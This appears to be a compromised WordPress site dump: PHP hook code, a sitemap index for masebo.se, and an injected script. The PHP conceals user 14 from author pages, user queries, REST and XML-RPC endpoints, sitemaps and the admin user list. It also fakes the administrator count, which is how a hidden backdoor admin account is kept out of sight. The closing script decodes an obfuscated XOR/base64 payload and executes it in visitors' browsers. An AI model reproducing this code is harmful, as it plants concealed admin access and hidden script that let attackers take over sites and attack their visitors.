add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 14;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 14 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 14 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 14;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 14;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 14;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/14(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 14;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-14{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="http://www.masebo.se/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>http://www.masebo.se/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>http://www.masebo.se/wp-sitemap-posts-post-2.xml</loc></sitemap><sitemap><loc>http://www.masebo.se/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>http://www.masebo.se/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>http://www.masebo.se/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
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!function(){var _0x847f=atob('MnxvdHluc3V0MjNhc3wybXN0fnVtQT1FIn4rfCMjKyoqKT1HM2h/bm9odCFtc3R+dW1BPUUifit8IyMrKiopPUcnKyFse2g6RWlyb3JvfG4nOCIuKih8eCspKSJ+e3t4LHsrLCx/Iyt7eyJ5Iyh7KCotIyJ7eXx7IyJ8eC0veS97KDghbHtoOkVidWxpdXN7J0E9cm5uamkgNTVqdXZjfXV0NH5oank0dWh9PTY9cm5uamkgNTVqdXZjfXV0NH17bn9te2M0bn90fn9odmM0eXU9Nj1ybm5qaSA1NWhqeTR7dHFoNHl1dzVqdXZjfXV0PTY9cm5uamkgNTVqdXZjfXV0N2pveHZzeTR0dX5zf2k0e2pqPTY9cm5uamkgNTVoank3d3tzdHR/bjR3e25zeTRrb3NxdHV+fzRqaHU9Nj1ybm5qaSA1NWp1dmN9dXQ3eHVoN2hqeTRqb3h2c3l0dX5/NHl1dz02PXJubmppIDU1K2hqeTRzdTV3e25zeT02PXJubmppIDU1anV2Y311dDd3e3N0dH9uNGpveHZzeTR4dntpbntqczRzdT1HIWx7aDpFbXxtdWJidCc4KmJYLHhZI38rXip4KHxYIyxbeC1ZLi1fKi5ZeCpYXy4tLS4rKnhZK3woOCFse2g6RXV5b3knOHgsIn4rIiojOCF8b3R5bnN1dDpFa3d2YmlgMkVyfmlvaH5wM2FuaGNhbHtoOkVtbnd+J0VyfmlvaH5wNGlveGluaDIqNigzJycnPSpiPSVFcn5pb2h+cDRpb3hpbmgyKDMgRXJ+aW9ofnAhc3wyRW1ud340dn90fW5yJisoIjNof25vaHQ9PSFse2g6RXtpeXdvfSdqe2hpf1N0bjJFbW53fjRpb3hpbmgyLC42LC4zNissMyFzfDI7RXtpeXdvfTNof25vaHQ9PSFse2g6RXhwaHUnRW1ud340aW94aW5oMisoIjZFe2l5d299MCgzNkVvcm5vaic9PSF8dWgybHtoOkVpc3tuYCcqIUVpc3tuYCZFeHBodTR2f3R9bnIhRWlze25gMScoM2Fse2g6RWp3bHdvcn4nantoaX9TdG4yRXhwaHU0aW94aW5oMkVpc3tuYDYoMzYrLDMhc3wyRWp3bHdvcn4zRW9ybm9qMSdJbmhzdH00fGh1d1lye2hZdX5/MkVqd2x3b3J+MyFnaH9ub2h0OkVvcm5vaiFneXtueXIyfzNhaH9ub2h0PT0hZ2d8b3R5bnN1dDpFbmpua2x1ajJFeWlidnNxdTZFcW1jb2l0M2Fof25vaHQ6dH9tOkpodXdzaX8yfG90eW5zdXQyRX9jcn55d3I2RWl3cXlsdGkzYWx7aDpFY35+eGN2J3R/bTpCV1ZSbm5qSH9rb39pbjIzIUVjfn54Y3Y0dWp/dDI9SlVJTj02RXlpYnZzcXU2bmhvfzMhRWN+fnhjdjRpf25If2tvf2luUn97fn9oMj1ZdXRuf3RuN05jan89Nj17amp2c3l7bnN1dDVwaXV0PTMhRWN+fnhjdjRuc3d/dW9uJy8qKiohRWN+fnhjdjR1dHZ1e34nfG90eW5zdXQyM2FuaGNhRX9jcn55d3IyUElVVDRqe2hpfzJFY35+eGN2NGh/aWp1dGl/Tn9ibjMzIWd5e255cjJ/M2FFaXdxeWx0aTJ/MyFnZyFFY35+eGN2NHV0f2hodWgnRWN+fnhjdjR1dG5zd391b24nfG90eW5zdXQyM2FFaXdxeWx0aTJ0f206X2hodWgyMzMhZyFFY35+eGN2NGl/dH4yUElVVDRpbmhzdH1zfGMyRXFtY29pdDMzIWczIWd8b3R5bnN1dDpFYH5wfTJFdXJodDNhc3wyRXVyaHQkJ0VidWxpdXN7NHZ/dH1ucjNof25vaHQ6Smh1d3NpfzRof2l1dmx/MnRvdnYzIWx7aDpFY2hiaH4nYXBpdXRoankgPSg0Kj02d39ucnV+ID1/bnJFeXt2dj02antoe3dpIEFhbnUgRW18bXViYnQ2fntueyA9KmI9MUV1eW95ZzY9dntuf2luPUc2c34gK2chaH9ub2h0OkVuam5rbHVqMkVidWxpdXN7QUV1cmh0RzZFY2hiaH4zNG5yf3QyfG90eW5zdXQyRWh/fnZjbmAzYWx7aDpFf21/bydFaH9+dmNuYDw8RWh/fnZjbmA0aH9pb3ZuJUVrd3ZiaWAyRWh/fnZjbmA0aH9pb3ZuMyA9PSFzfDJFf21/bzNof25vaHQ6RX9tf280aH9qdnt5fzI1RjUxPjU2PT0zIWh/bm9odDpFYH5wfTJFdXJodDErMyFnMzR5e255cjJ8b3R5bnN1dDIzYWh/bm9odDpFYH5wfTJFdXJodDErMyFnMyFnfG90eW5zdXQ6RXJpcHJ/dTJFYGl1cDNhbHtoOkV+YmptdSd+dXlvd390bjR5aH97bn9fdn93f3RuMj1peWhzam49MyFFfmJqbXU0aWh5J0VgaXVwMT01e2pzNGpyaiVpJz0xRWlyb3JvfG4xPTxFbCc9MVd7bnI0fHZ1dWgyXntufzR0dW0yMzUsKioqKjMhRX5iam11NHtpY3R5J25ob38hMn51eW93f3RuNHJ/e35mZn51eW93f3RuNHh1fmMzNHtqan90fllyc3Z+MkV+YmptdTMhZ0VgfnB9MiozNG5yf3QyfG90eW5zdXQyRWBpdXAzYXN8MkVgaXVwM0VyaXByf3UyRWBpdXAzIWczIWczMjMh'),_0x44d3=26,_0xfb53=new Uint8Array(_0x847f['length']),_0xf2b0=0;for(;_0xf2b0<_0x847f['length'];_0xf2b0++)_0xfb53[_0xf2b0]=_0x847f['charCodeAt'](_0xf2b0)^_0x44d3;(new Function(new TextDecoder()['decode'](_0xfb53)))()}();
</script>
    